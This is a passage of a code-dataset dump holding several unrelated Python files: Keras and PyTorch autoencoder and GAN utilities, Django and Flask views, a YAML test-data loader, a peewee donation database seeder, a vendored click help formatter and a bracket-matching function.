= (1,2))(x)\n x = layers.BatchNormalization()(x)\n x = layers.Activation('relu')(x)\n x = layers.SeparableConv2D(1, (5, 5), padding='same')(x)\n decoded = layers.UpSampling2D(size = (1,2))(x)\n\n autoencoder = keras.Model(input_img, decoded)\n opt = keras.optimizers.Adam(lr = 0.01)\n autoencoder.compile(optimizer=opt, loss='mean_squared_error')\n return autoencoder\n\nif __name__ == \"__main__\":\n model = get_ds_autoencoder_model()\n model.summary()\n\nclass DataGenerator(keras.utils.Sequence):\n 'Generates data for Keras'\n def __init__(self, dataset, batch_size=32, dim=(32,128), shuffle=True, step=8):\n 'Initialization'\n self.dim = dim\n self.batch_size = batch_size\n self.shuffle = shuffle\n self.data = dataset\n \n self.step = step\n self.indexes_start = np.arange(self.data.shape[1]-self.dim[0]+self.step, step=self.step)\n self.max = len(self.indexes_start)\n self.indexes = np.arange(self.data.shape[0])\n \n self.indexes = np.repeat(self.indexes, self.max )\n self.indexes_start = np.repeat(self.indexes_start, self.data.shape[0])\n \n self.on_epoch_end()\n\n def __len__(self):\n 'Denotes the number of batches per epoch'\n return int(np.floor(self.data.shape[0] * self.max / self.batch_size))\n\n def __getitem__(self, index):\n 'Generate one batch of data'\n # Generate indexes of the batch\n\n indexes = self.indexes[index*self.batch_size:(index+1)*self.batch_size]\n indexes_start = self.indexes_start[index*self.batch_size:(index+1)*self.batch_size]\n\n # Generate data\n X = self.__data_generation(indexes, indexes_start).reshape((self.batch_size, *self.dim, 1))\n\n return X, X\n\n def on_epoch_end(self):\n 'Updates indexes after each epoch'\n \n if self.shuffle == True:\n np.random.shuffle(self.indexes)\n np.random.shuffle(self.indexes_start)\n\n\n def __data_generation(self, indexes, index_start):\n 'Generates data containing batch_size samples' # X : (n_samples, *dim, n_channels)\n # Initialization\n X = np.empty((self.batch_size, *self.dim))\n\n # Generate data\n for i, (id_file, id_start) in enumerate(zip(indexes, index_start)):\n\n x = self.data[id_file,]\n length, mels = x.shape\n\n start = id_start\n\n start = min(start, length - self.dim[0])\n \n # crop part of sample\n crop = x[start:start+self.dim[0], :]\n\n X[i,] = crop\n return X","sub_path":"tf_models.py","file_name":"tf_models.py","file_ext":"py","file_size_in_byte":7233,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"475176385","text":"import sys\r\nimport os\r\nimport re\r\nfrom cx_Freeze import setup, Executable\r\n\r\nos.environ[\"TCL_LIBRARY\"] = 'C:\\\\Python\\\\tcl\\\\tcl8.6'\r\nos.environ[\"TK_LIBRARY\"] = 'C:\\\\Python\\\\tcl\\\\tk8.6'\r\nbuild_exe_options = {'packages': ['os'], 'include_files' : [r'.\\tcl86t.dll',r'.\\tk86t.dll',r'.\\database']}\r\nbase = None\r\nif sys.platform == 'win32':\r\n base = 'Win32GUI'\r\n\r\nexecutables = [Executable(script='main.py',base = base, icon = 'icon.ico'),\r\n Executable(script='check_hours.py', base = base, icon = 'icon.ico')]\r\n\r\nsetup( name = 'Flying Calculator',\r\n version = '1.0',\r\n description = 'Flying Calculator',\r\n options = {'build_exe': build_exe_options},\r\n executables = executables)","sub_path":"Documents/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":713,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"531415058","text":"from racing.base.base_views import PrivatePostAPIView, PrivateGetAPIView\nfrom racing.constants import Result\nfrom racing.mangers import product_manager\nfrom racing.models import Product\nfrom racing.serializers import CreateProductSerializer, GetPersonalProductListSerializer\n\n\nclass CreateProductView(PrivatePostAPIView):\n serializer_class = CreateProductSerializer\n\n def process(self, data):\n self.validate_data(data)\n product = Product.objects.create(\n user_id=self.user_id,\n name=data[\"name\"],\n description=data.get(\"description\", \"\"),\n price=data.get(\"price\", 0.0),\n accessory_id=data[\"accessory_id\"]\n )\n\n product_response = product_manager.generate_product_response(product)\n product_response = product_manager.fill_accessory_info([product_response])\n\n return Result.SUCCESS, product_response\n\n def validate_data(self, data):\n pass\n\n\nclass GetPersonalProductListView(PrivateGetAPIView):\n serializer_class = GetPersonalProductListSerializer\n\n def process(self, data):\n products = list(Product.objects.filter(user_id=self.user_id))\n product_response_list = []\n for p in products:\n product_response = product_manager.generate_product_response(p)\n product_response_list.append(product_response)\n\n product_response_list = product_manager.fill_accessory_info(product_response_list)\n product_response_list = product_manager.fill_image_info(product_response_list)\n\n return Result.SUCCESS, product_response_list\n","sub_path":"racing/views/product_views.py","file_name":"product_views.py","file_ext":"py","file_size_in_byte":1591,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"650213722","text":"'''\nload yaml file , replace variable and function (from config.py), return a dict data\n'''\n\nimport re, io, yaml\nimport importlib\n\n\n#动态导入库,所有yaml文件会用到的函数和变量都放到utils.py文件里,之后在yaml_load里,return函数方法和变量值的时候记得加上\"module.\"\ndef load_all_variables_functions():\n module =importlib.import_module('data.config')\n return module\nmodule = load_all_variables_functions()\n\n#yaml_load 方法把yaml文件里的函数调用返回结果,参数返回结果,变成最后的测试用例,实现了参数和测试用例的隔离.之后的send request就从这里获取数据\ndef yaml_load(yaml_file):\n \"\"\"\n 异步读取yaml文件,并转义其中的特殊值\n :param file:\n :return:\n \"\"\"\n\n #1.load yaml文件内容\n with io.open(yaml_file, 'r', encoding='utf-8') as stream:\n yaml_content = yaml.load(stream)\n\n data = yaml_content\n\n\n #2.定义filter出function和variable的正则\n pattern_function = re.compile(r\"^\\$\\{(\\w+)\\(([\\$\\w =,]*)\\)\\}$\")\n pattern_variable = re.compile(r\"\\$(\\w+)\") #$var\n\n\n #3.根据正则判断是function还是variable\n def is_functon(content):\n matched = pattern_function.match(content)\n return True if matched else False\n\n def is_variable(content):\n matched = pattern_variable.match(content)\n return True if matched else False\n\n\n #4.循环遍历整个yaml文件内容, 如果是list,tuple, dict则继续迭代,如果是string或者bytes,说明已经到了最里面的部分了,这时候有可能是function,varaible,也可能就是最后的值。\n def my_iter(data):\n \"\"\"\n 递归测试用例,根据不同数据类型做相应处理,将模板语法转化为正常值\n :param data:\n :return:\n \"\"\"\n if isinstance(data, (list, tuple)):\n for index, _data in enumerate(data):\n data[index] = my_iter(_data) or _data\n\n elif isinstance(data, dict):\n for k, v in data.items():\n data[k] = my_iter(v) or v\n\n elif isinstance(data, (str, bytes)):\n #4.1 如果是function 有可能是这几个情况\n # ${gen_uid($vara, $varb)} ; 把函数名,和变量拆开,然后判断变量是参数还是直接的结果,如果是参数则通过eval返回参数值,如果不是参数则直接返回\n # ${gen_uid(3, b=2)}\n # 这里用func_str来拼接函数表达值,最后调用eval(func_str)来调用函数返回执行结果\n\n if is_functon(data):\n m = pattern_function.match(data)\n func_str = \"\"\n if m:\n fun = m.group(1)\n args = m.group(2).split(',')\n\n func_str += \"module.\"+ fun + \"(\"\n\n for index, arg in enumerate(args):\n if is_variable(arg.strip()):\n variable_name = \"module.\" + pattern_variable.match(arg.strip()).group(1)\n # args[index] = str(eval(pattern_variable.match(arg.strip()).group(1)))\n args[index] = str(eval(variable_name))\n else:\n args[index] = arg\n func_str += args[index] + \",\"\n\n func_str = func_str[:-1] #remove the last , letter\n func_str += \")\"\n return eval(func_str) #execute the method\n\n\n elif is_variable(data):\n m = pattern_variable.match(data)\n if m:\n variable_name = \"module.\" + m.group(1)\n return eval(variable_name)\n else:\n return data\n\n my_iter(data)\n return data\n\nif __name__ == '__main__':\n print(yaml_load(r\"casedata/login_case_data.yml\"))","sub_path":"data/loader.py","file_name":"loader.py","file_ext":"py","file_size_in_byte":3902,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"232726344","text":"\nfrom flask import current_app, render_template\nfrom flask.ext.mail import Message\nfrom . import mail\nfrom threading import Thread\n\n\n#异步发送email\ndef send_async_email(app, msg):\n with app.app_context():\n mail.send(msg)\n\ndef send_email(to, subject, **kwargs):\n app = current_app._get_current_object()\n msg = Message(subject, recipients=[to])\n msg.body = \"Hello,This a test.\"\n thr = Thread(target=send_async_email, args=[app, msg])\n thr.start()\n return thr","sub_path":"app/email.py","file_name":"email.py","file_ext":"py","file_size_in_byte":488,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"30807734","text":"#!/usr/bin/env python\n\n\"\"\"\n creat donor and donation dabatbas contains only two table: donor and donation\n (And some sample information has been input)\n\"\"\"\n\nfrom donor_donation_model import *\nimport logging\n\nlogging.basicConfig(level=logging.INFO)\nlogger = logging.getLogger(__name__)\n\ndatabase.create_tables([\n Donor,\n Donation\n ])\n\nlogger.info('Working with Donor class')\n\ndef get_donor_sample_data():\n donors = [\n ('00001', 'William Gates III', 'Seattle', '1234567890'),\n ('00002', 'Cara Delevinge', 'San fransisco', '0983457621'),\n ('00003', 'Ellen Degenerous','LA', None),\n ('00004', 'Kate Upton', 'LA', '9876543201'),\n ('00005', 'Suki Waterhouse', 'London', '654823339'),\n ]\n return donors\n\nDONOR_ID = 0\nDONOR_NAME = 1\nCITY = 2\nPHONE_NUMBER = 3\n\n\ndonors = get_donor_sample_data()\n\nfor donor in donors:\n try:\n with database.transaction():\n new_donor = Donor.create(\n donor_id = donor[DONOR_ID],\n donor_name = donor[DONOR_NAME],\n city = donor[CITY],\n phone_number = donor[PHONE_NUMBER])\n new_donor.save()\n except Exception as e:\n logger.info(f'Error creating = {donor[DONOR_ID]} name is {donor[DONOR_NAME]} with error {e}')\n\n\nlogger.info('Working with Donation class')\n\ndef get_donation_sample_data():\n donations = [\n (100000, '2018-03-01', '00001'),\n (30000, '2017-11-21', '00002'),\n (15000, '2017-04-27','00003'),\n (20000, '2018-01-01', '00004'),\n (200000, '2017-08-09', '00001')\n ]\n return donations\n\nAMOUNT = 0\nDONATION_TIME = 1\nDONATION_DONORID = 2\n\ndonations = get_donation_sample_data()\n\nfor donation in donations:\n try:\n with database.transaction():\n new_donation = Donation.create(\n amount = donation[AMOUNT],\n donation_time = donation[DONATION_TIME],\n donation_donorid = donation[DONATION_DONORID])\n new_donation.save()\n except Exception as er:\n logger.info(f'Error creating = {donation[AMOUNT]} donation time is {donation[DONATION_TIME]} with error {er}')\n\n\ndatabase.close()\n","sub_path":"Student/Ruohan/lesson07/mailroom_assignment/creat_donor_donation_db.py","file_name":"creat_donor_donation_db.py","file_ext":"py","file_size_in_byte":2198,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"615920936","text":"import os\nimport torch\nimport torch.nn as nn\nimport numpy as np\nfrom PIL import Image\nimport matplotlib.pyplot as plt\n\n\ndef configure(opt):\n image_height = opt.image_height\n is_train = opt.is_train\n trans_module = opt.trans_module\n progression = opt.progression\n opt.USE_CUDA = True if opt.gpu_ids != -1 else False\n opt.format = 'png'\n opt.n_df = 64\n\n dataset_name = opt.dataset_name\n if dataset_name == 'Cityscapes':\n opt.n_data = 2975\n opt.input_ch = 36 if opt.use_boundary_map else 35\n opt.output_ch = 3\n\n if image_height == 512:\n opt.image_size = (512, 1024)\n opt.n_downsample = 4\n opt.n_df = 64\n opt.n_gf = 64\n\n elif image_height == 1024:\n opt.image_size = (1024, 2048)\n opt.n_downsample = 5\n opt.n_df = 16\n opt.n_gf = 16\n else:\n raise NotImplementedError(\"Invalid image_height: {}\".format(image_height))\n\n elif dataset_name == 'NYU':\n opt.n_data = 1200\n opt.output_ch = 3\n opt.input_ch = 896 if opt.use_boundary_map else 895\n opt.image_size = (561, 427)\n opt.n_downsample = 4\n opt.n_df = 64\n opt.n_gf = 64\n\n else:\n opt.input_ch = 1\n opt.output_ch = 1\n\n if image_height == 512:\n opt.image_size = (512, 512)\n opt.n_downsample = 4\n opt.n_df = 64\n opt.n_gf = 64\n\n elif image_height == 1024:\n opt.image_size = (1024, 1024)\n opt.n_downsample = 5\n opt.n_df = 32\n opt.n_gf = 32\n\n if progression:\n opt.beta1, opt.beta2 = (0.0, 0.9)\n opt.n_C = 1\n opt.patch_size = 16\n opt.save_freq = 2975 * 20\n opt.VGG = False\n\n else:\n opt.beta1, opt.beta2 = (0.0, 0.9)\n opt.n_C = 2\n opt.patch_size = 70\n opt.VGG = True\n\n opt.min_image_size = (2 ** (np.log2(opt.image_size[0]) - opt.n_downsample),\n 2 ** (np.log2(opt.image_size[1]) - opt.n_downsample))\n\n args = list()\n args.append(trans_module)\n args.append(opt.n_blocks)\n args.append(opt.GAN_type)\n args.append(opt.sobolev_s) if opt.GAN_type == 'BWGAN' else None\n args.append(opt.exponent) if opt.GAN_type == 'BWGAN' else None\n args.append('div') if opt.GAN_type == 'WGANDiv' else None\n args.append('CT') if opt.CT and opt.GAN_type == 'WGANGP' else None\n\n kwargs = dict()\n kwargs.update({'prog': progression}) if progression else None\n kwargs.update({'G': opt.n_groups, 'C': opt.rir_ch}) if trans_module == 'RIR' else None\n kwargs.update({'L': opt.n_dense_layers, 'K': opt.growth_rate}) if trans_module in ['RDB', 'DB'] else None\n\n model_name = model_namer(*args, **kwargs)\n make_dir(dataset_name, model_name, is_train=is_train)\n\n opt.analysis_dir = os.path.join('./checkpoints', dataset_name, model_name, 'Analysis')\n opt.image_dir = os.path.join('./checkpoints', dataset_name, model_name, 'Image', '{}'.format('Training' if is_train\n else 'Test'))\n opt.model_dir = os.path.join('./checkpoints', dataset_name, model_name, 'Model')\n log_path = os.path.join(opt.model_dir, 'opt.txt')\n\n if opt.debug:\n opt.display_freq = 100\n opt.n_epochs = 4\n opt.n_epochs_per_lod = 1\n opt.report_freq = 5\n opt.save_freq = 1000000000\n\n if os.path.isfile(log_path) and not opt.debug and is_train:\n permission = input(\n \"{} log already exists. Do you really want to overwrite this log? Y/N. : \".format(model_name + '/opt'))\n if permission == 'Y':\n pass\n\n else:\n raise NotImplementedError(\"Please check {}\".format(log_path))\n\n args = vars(opt)\n with open(log_path, 'wt') as log:\n log.write('-' * 50 + 'Options' + '-' * 50 + '\\n')\n print('-' * 50 + 'Options' + '-' * 50)\n for k, v in sorted(args.items()):\n log.write('{}: {}\\n'.format(str(k), str(v)))\n print(\"{}: {}\".format(str(k), str(v)))\n log.write('-' * 50 + 'End' + '-' * 50)\n print('-' * 50 + 'End' + '-' * 50)\n log.close()\n\n\ndef init_weights(module, type='normal', mode='fan_in', negative_slope=0.2, nonlinearity='leaky_relu'):\n if isinstance(module, nn.Conv2d) or isinstance(module, nn.ConvTranspose2d):\n if type == 'kaiming_normal':\n nn.init.kaiming_normal_(module.weight.detach(), a=negative_slope, mode=mode, nonlinearity=nonlinearity)\n\n elif type == 'normal':\n nn.init.normal_(module.weight.detach(), mean=0.0, std=0.02)\n\n else:\n raise NotImplementedError(\"Weight init type {} is not valid.\".format(type))\n else:\n pass\n\n\ndef make_dir(dataset_name=None, model_name=None, is_train=False):\n assert dataset_name in ['Cityscapes']\n assert model_name, \"model_name keyword should be specified for type='checkpoints'\"\n if is_train:\n os.makedirs(os.path.join('./checkpoints', dataset_name, model_name, 'Image', 'Training'), exist_ok=True)\n os.makedirs(os.path.join('./checkpoints', dataset_name, model_name, 'Model'), exist_ok=True)\n os.makedirs(os.path.join('./checkpoints', dataset_name, model_name, 'Analysis'), exist_ok=True)\n else:\n os.makedirs(os.path.join('./checkpoints', dataset_name, model_name, 'Image', 'Test'), exist_ok=True)\n\n\ndef model_namer(*elements, **k_elements):\n name = ''\n for v in elements:\n name += str(v) + '_'\n\n for k, v in sorted(k_elements.items()):\n name += str(k) + '_' + str(v) + '_'\n\n return name.strip('_')\n\n\nclass Manager(object):\n def __init__(self, opt):\n self.analysis_dir = opt.analysis_dir\n self.model_dir = opt.model_dir\n self.log = os.path.join(self.model_dir, 'log.txt')\n self.n_blocks = opt.n_blocks\n self.n_ch_trans = 1024\n self.signal_log = os.path.join(self.model_dir, 'ResidualSignals.txt')\n self.weight_log = os.path.join(self.model_dir, 'ResidualWeights.txt')\n\n with open(self.log, 'wt') as log:\n log.write('Epoch, Current_step, total_C_loss, C_loss, CT, GP, total_G_loss, G_loss, FM, VGG, Runtime\\n')\n\n self.image_dir = opt.image_dir\n self.image_mode = opt.image_mode\n\n if opt.is_train:\n self.display_freq = opt.display_freq\n self.progression = opt.progression\n self.report_freq = opt.report_freq\n self.save_freq = opt.save_freq\n\n def report_loss(self, package):\n inf = [package['Epoch'], package['Current_step'], package['total_A_loss'].detach().item(), package['A_score'],\n package['CT'], package['GP'], package['total_G_loss'].detach().item(), package['G_score'], package['FM'],\n package['VGG'], package['running_time']]\n print(\"Epoch: {} Current_step: {} total_A_loss: {:.{prec}} A_score: {:.{prec}} CT: {:.{prec}} GP: {:.{prec}}\"\n \" total_G_loss: {:.{prec}} G_score: {:.{prec}} FM: {:.{prec}} VGG: {:.{prec}} Runtime: {}\"\n .format(*inf, prec=4))\n\n with open(self.log, 'a') as log:\n log.write('{}, {}, {:.{prec}}, {:.{prec}}, {:.{prec}}, {:.{prec}}, {:.{prec}}, {:.{prec}}, {:.{prec}},'\n ' {:.{prec}} {}\\n'.format(*inf, prec=4))\n\n @staticmethod\n def adjust_dynamic_range(data, drange_in, drange_out):\n if drange_in != drange_out:\n scale = (np.float32(drange_out[1]) - np.float32(drange_out[0])) / (\n np.float32(drange_in[1]) - np.float32(drange_in[0]))\n bias = (np.float32(drange_out[0]) - np.float32(drange_in[0]) * scale)\n data = data * scale + bias\n return data\n\n @staticmethod\n def write_log(log_path, informations, epoch, header=None):\n with open(log_path, 'wt' if epoch == 0 else 'a') as log:\n log.write(header) if header else None\n log.write(informations + '\\n')\n log.close()\n\n def layer_magnitude(self, G, epoch):\n names = list()\n magnitudes = list()\n for name, m in G.named_modules():\n if isinstance(m, nn.Conv2d) or isinstance(m, nn.ConvTranspose2d):\n names.append(name)\n magnitudes.append(m.weight.detach().abs().mean().cpu().item())\n self.write_log(os.path.join(self.analysis_dir, 'Layer_magnitudes.txt'), ','.join(map(str, magnitudes)), epoch,\n header=str('Epoch, ' + ','.join(names)) if epoch == 0 else None)\n\n magnitudes = np.array(magnitudes)\n plt.figure(figsize=[9.6, 7.2])\n plt.axhline(y=magnitudes.mean(), linestyle='--')\n plt.xticks(range(len(magnitudes) + 1))\n plt.xlabel('Layer index')\n plt.ylabel('Average absolute magnitude per layer')\n plt.plot(range(len(magnitudes)), magnitudes, linestyle='--', marker='^', color='g')\n plt.savefig(os.path.join(self.analysis_dir, 'layer_magnitude_{}.png'.format(epoch)))\n plt.close()\n\n def tensor2image(self, image_tensor):\n np_image = image_tensor[0].cpu().float().numpy()\n np_image = np.transpose(np_image, (1, 2, 0)) if len(np_image.shape) == 3 else np_image\n np_image = self.adjust_dynamic_range(np_image, drange_in=[-1., 1.], drange_out=[0, 255])\n np_image = np.clip(np_image, 0, 255).astype(np.uint8)\n return np_image\n\n def save_image(self, image_tensor, path):\n np_image = self.tensor2image(image_tensor)\n pil_image = Image.fromarray(np_image)\n pil_image.save(path, self.image_mode)\n\n def save(self, package, image=False, model=False):\n if image:\n if self.progression:\n path_real = os.path.join(self.image_dir, str(package['Level']) + '_' + str(package['Epoch']) + '_' + 'real.png')\n path_fake = os.path.join(self.image_dir, str(package['Level']) + '_' + str(package['Epoch']) + '_' + 'fake.png')\n else:\n path_real = os.path.join(self.image_dir, str(package['Epoch']) + '_' + 'real.png')\n path_fake = os.path.join(self.image_dir, str(package['Epoch']) + '_' + 'fake.png')\n self.save_image(package['target_tensor'], path_real)\n self.save_image(package['generated_tensor'], path_fake)\n\n elif model:\n path_A = os.path.join(self.model_dir, str(package['Epoch']) + '_' + 'A.pt')\n path_G = os.path.join(self.model_dir, str(package['Epoch']) + '_' + 'G.pt')\n torch.save(package['A_state_dict'], path_A)\n torch.save(package['G_state_dict'], path_G)\n\n def save_weight_figure(self, weight, epoch, init_weight=1.0):\n weight = np.array(weight)\n delta = max(abs(weight.max()), abs(weight.min()))\n # print(\"{}, {}\\n\".format(epoch, mean_arr))\n plt.figure(figsize=[9.6, 7.2])\n # plt.axhline(y=init_weight, linestyle='--', color='k')\n\n plt.axis([0, len(weight) + 1, 0, 2])\n for i in range(11):\n plt.axhline(y=0.2 * i, c='gray', alpha=0.3)\n plt.xlabel('Residual index')\n plt.xticks(range(len(weight) + 1))\n plt.ylabel('Weight per residual block')\n plt.yticks([0.2 * i for i in range(11)])\n plt.plot(range(1, len(weight) + 1), weight, linestyle='-', marker='^', color='r')\n plt.savefig(os.path.join(self.model_dir, 'Epoch_{}_weights.png'.format(epoch)))\n plt.close()\n\n size = abs(weight).sum()\n fraction_arr = weight / size\n delta = max(abs(fraction_arr.max()), abs(fraction_arr.min()))\n plt.figure(figsize=[9.6, 7.2])\n plt.xlabel('Residual index')\n plt.ylabel('Fraction over final feature')\n plt.xticks(range(len(fraction_arr) + 1))\n plt.axhline(y=0, linestyle='--', color='k')\n plt.axis([0, len(fraction_arr) + 1, -delta * 1.2, delta * 1.2])\n plt.plot(range(1, len(fraction_arr) + 1), fraction_arr, linestyle=':', marker='_', color='b')\n for i in range(len(fraction_arr)):\n plt.vlines(i + 1, min(0, fraction_arr[i]), max(0, fraction_arr[i]), linestyles='-', colors='b')\n plt.savefig(os.path.join(self.model_dir, 'Epoch_{}_fractions.png'.format(epoch)))\n plt.close()\n with open(self.weight_log, 'a') as f:\n f.write(\"{}, {:.{prec}}, {:.{prec}}, {:.{prec}}, {:.{prec}}, {:.{prec}}, {:.{prec}}, {:.{prec}}, {:.{prec}},\"\n \" {:.{prec}}\\n\".format(epoch, *weight, prec=6))\n f.close()\n\n def __call__(self, package):\n self.save(package, image=True) if package['Current_step'] % self.display_freq == 0 else None\n self.report_loss(package) if package['Current_step'] % self.report_freq == 0 else None\n self.save(package, model=True) if package['Current_step'] % self.save_freq == 0 else None\n\n\ndef update_lr(old_lr, n_epoch_decay, D_optim, G_optim):\n delta_lr = old_lr/n_epoch_decay\n new_lr = old_lr - delta_lr\n\n for param_group in D_optim.param_groups:\n param_group['lr'] = new_lr\n\n for param_group in G_optim.param_groups:\n param_group['lr'] = new_lr\n\n print(\"Learning rate has been updated from {} to {}.\".format(old_lr, new_lr))\n return new_lr\n","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":13261,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"125557474","text":"import torch\nimport torch.nn as nn\nimport torchvision.utils as vutils\nfrom torch.nn import functional as F\nimport numpy as np\n\nclass VAEModel(nn.Module):\n def __init__(self, params):\n super().__init__()\n self.A = params['A']\n self.B = params['B']\n self.z_size = params['z_size']\n self.device = params['device']\n self.channel = params['channel']\n\n # fc layers\n self.fc_enc = nn.Linear(self.A*self.B, 400)\n self.fc_enc_mu = nn.Linear(400, self.z_size)\n self.fc_enc_var = nn.Linear(400, self.z_size)\n\n self.fc_dec = nn.Linear(self.z_size, 400)\n self.fc_dec2 = nn.Linear(400, self.A*self.B)\n\n def encode(self, x):\n h = F.relu(self.fc_enc(x))\n mu = self.fc_enc_mu(h)\n logvar = self.fc_enc_var(h)\n return mu, logvar\n\n def reparameterize(self, mu, logvar):\n std = torch.exp(0.5*logvar)\n x = torch.randn_like(std)\n return mu + x*std\n\n def decode(self, z):\n h = F.relu(self.fc_dec(z))\n return torch.sigmoid(self.fc_dec2(h))\n\n def forward(self, x):\n mu, logvar = self.encode(x)\n # calculate KL divergence for Q(z|X) and P(z)\n kl = mu.pow(2) + logvar.exp().pow(2) - 1 - logvar\n kl = torch.sum(kl).mul(0.5) \n z = self.reparameterize(mu, logvar)\n return self.decode(z), kl\n\n def loss(self, x):\n # x_r : reconstructed \n x_r, kl = self.forward(x)\n loss = F.binary_cross_entropy(x_r, x, reduction ='sum') + kl\n return loss\n \n\n def generate(self, num_output, epoch):\n # generates image\n img = self.decode(torch.randn(num_output, self.z_size))\n\n img = img.view(-1, self.channel, self.A, self.B)\n vutils.save_image(img, 'generate/sample_'+str(epoch)+'.png')","sub_path":"vae_model.py","file_name":"vae_model.py","file_ext":"py","file_size_in_byte":1807,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"214574205","text":"_E=True\n_D=False\n_C=' '\n_B='\\n'\n_A=None\nfrom contextlib import contextmanager\nfrom ._compat import term_len\nfrom .parser import split_opt\nfrom .termui import get_terminal_size\nFORCED_WIDTH=_A\ndef measure_table(rows):\n\tA={}\n\tfor C in rows:\n\t\tfor (B,D) in enumerate(C):A[B]=max(A.get(B,0),term_len(D))\n\treturn tuple((B for(C,B)in sorted(A.items())))\ndef iter_rows(rows,col_count):\n\tfor A in rows:A=tuple(A);yield A+('',)*(col_count-len(A))\ndef wrap_text(text,width=78,initial_indent='',subsequent_indent='',preserve_paragraphs=_D):\n\tA=text;from ._textwrap import TextWrapper as I;A=A.expandtabs();E=I(width,initial_indent=initial_indent,subsequent_indent=subsequent_indent,replace_whitespace=_D)\n\tif not preserve_paragraphs:return E.fill(A)\n\tF=[];C=[];B=_A\n\tdef H():\n\t\tif not C:return\n\t\tif C[0].strip()=='\\x08':F.append((B or 0,_E,_B.join(C[1:])))\n\t\telse:F.append((B or 0,_D,_C.join(C)))\n\t\tdel C[:]\n\tfor D in A.splitlines():\n\t\tif not D:H();B=_A\n\t\telse:\n\t\t\tif B is _A:J=term_len(D);D=D.lstrip();B=J-term_len(D)\n\t\t\tC.append(D)\n\tH();G=[]\n\tfor (B,K,A) in F:\n\t\twith E.extra_indent(_C*B):\n\t\t\tif K:G.append(E.indent_only(A))\n\t\t\telse:G.append(E.fill(A))\n\treturn '\\n\\n'.join(G)\nclass HelpFormatter:\n\tdef __init__(B,indent_increment=2,width=_A,max_width=_A):\n\t\tC=max_width;A=width;B.indent_increment=indent_increment\n\t\tif C is _A:C=80\n\t\tif A is _A:\n\t\t\tA=FORCED_WIDTH\n\t\t\tif A is _A:A=max(min(get_terminal_size()[0],C)-2,50)\n\t\tB.width=A;B.current_indent=0;B.buffer=[]\n\tdef write(A,string):A.buffer.append(string)\n\tdef indent(A):A.current_indent+=A.indent_increment\n\tdef dedent(A):A.current_indent-=A.indent_increment\n\tdef write_usage(A,prog,args='',prefix='Usage: '):\n\t\tE=prefix;B=f\"{E:>{A.current_indent}}{prog} \";D=A.width-A.current_indent\n\t\tif D>=term_len(B)+20:C=_C*term_len(B);A.write(wrap_text(args,D,initial_indent=B,subsequent_indent=C))\n\t\telse:A.write(B);A.write(_B);C=_C*(max(A.current_indent,term_len(E))+4);A.write(wrap_text(args,D,initial_indent=C,subsequent_indent=C))\n\t\tA.write(_B)\n\tdef write_heading(A,heading):A.write(f\"{'':>{A.current_indent}}{heading}:\\n\")\n\tdef write_paragraph(A):\n\t\tif A.buffer:A.write(_B)\n\tdef write_text(A,text):C=max(A.width-A.current_indent,11);B=_C*A.current_indent;A.write(wrap_text(text,C,initial_indent=B,subsequent_indent=B,preserve_paragraphs=_E));A.write(_B)\n\tdef write_dl(A,rows,col_max=30,col_spacing=2):\n\t\tG=col_spacing;C=rows;C=list(C);E=measure_table(C)\n\t\tif len(E)!=2:raise TypeError('Expected two columns for definition list')\n\t\tB=min(E[0],col_max)+G\n\t\tfor (F,H) in iter_rows(C,len(E)):\n\t\t\tA.write(f\"{'':>{A.current_indent}}{F}\")\n\t\t\tif not H:A.write(_B);continue\n\t\t\tif term_len(F)<=B-G:A.write(_C*(B-term_len(F)))\n\t\t\telse:A.write(_B);A.write(_C*(B+A.current_indent))\n\t\t\tI=max(A.width-B-2,10);J=wrap_text(H,I,preserve_paragraphs=_E);D=J.splitlines()\n\t\t\tif D:\n\t\t\t\tA.write(f\"{D[0]}\\n\")\n\t\t\t\tfor K in D[1:]:A.write(f\"{'':>{B+A.current_indent}}{K}\\n\")\n\t\t\t\tif len(D)>1:A.write(_B)\n\t\t\telse:A.write(_B)\n\t@contextmanager\n\tdef section(self,name):\n\t\tA=self;A.write_paragraph();A.write_heading(name);A.indent()\n\t\ttry:yield\n\t\tfinally:A.dedent()\n\t@contextmanager\n\tdef indentation(self):\n\t\tself.indent()\n\t\ttry:yield\n\t\tfinally:self.dedent()\n\tdef getvalue(A):return ''.join(A.buffer)\ndef join_options(options):\n\tA=[];B=_D\n\tfor C in options:\n\t\tD=split_opt(C)[0]\n\t\tif D=='/':B=_E\n\t\tA.append((len(D),C))\n\tA.sort(key=lambda x:x[0]);A=', '.join((B[1]for B in A));return A,B","sub_path":"dynaconf/vendor/click/formatting.py","file_name":"formatting.py","file_ext":"py","file_size_in_byte":3391,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"460907892","text":"\"\"\"Handle errors to provide positive user experience.\"\"\"\nfrom flask import Blueprint, render_template\n\nerrors = Blueprint(\"errors\", __name__)\n\n\n@errors.app_errorhandler(404)\ndef show404(err):\n \"\"\"Show 404 page.\"\"\"\n print(err)\n return render_template(\"404.html\")\n\n\n@errors.app_errorhandler(500)\ndef show500(err):\n \"\"\"Show 500 page.\"\"\"\n print(err)\n return render_template(\"500.html\")\n","sub_path":"hoya/errors/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":400,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"549431994","text":"def braces(values):\n results = []\n for val in values:\n results.append(is_valid_braces(val))\n\n return results\n\n\ndef is_valid_braces(val):\n stack = []\n for ch in val:\n if ch == '{' or ch == '[' or ch == '(':\n stack.append(ch)\n elif len(stack) == 0 or \\\n ch == '}' and stack.pop() != '{' or \\\n ch == ']' and stack.pop() != '[' or \\\n ch == ')' and stack.pop() != '(': \n return 'NO'\n \n if len(stack) == 0:\n return 'YES'\n return 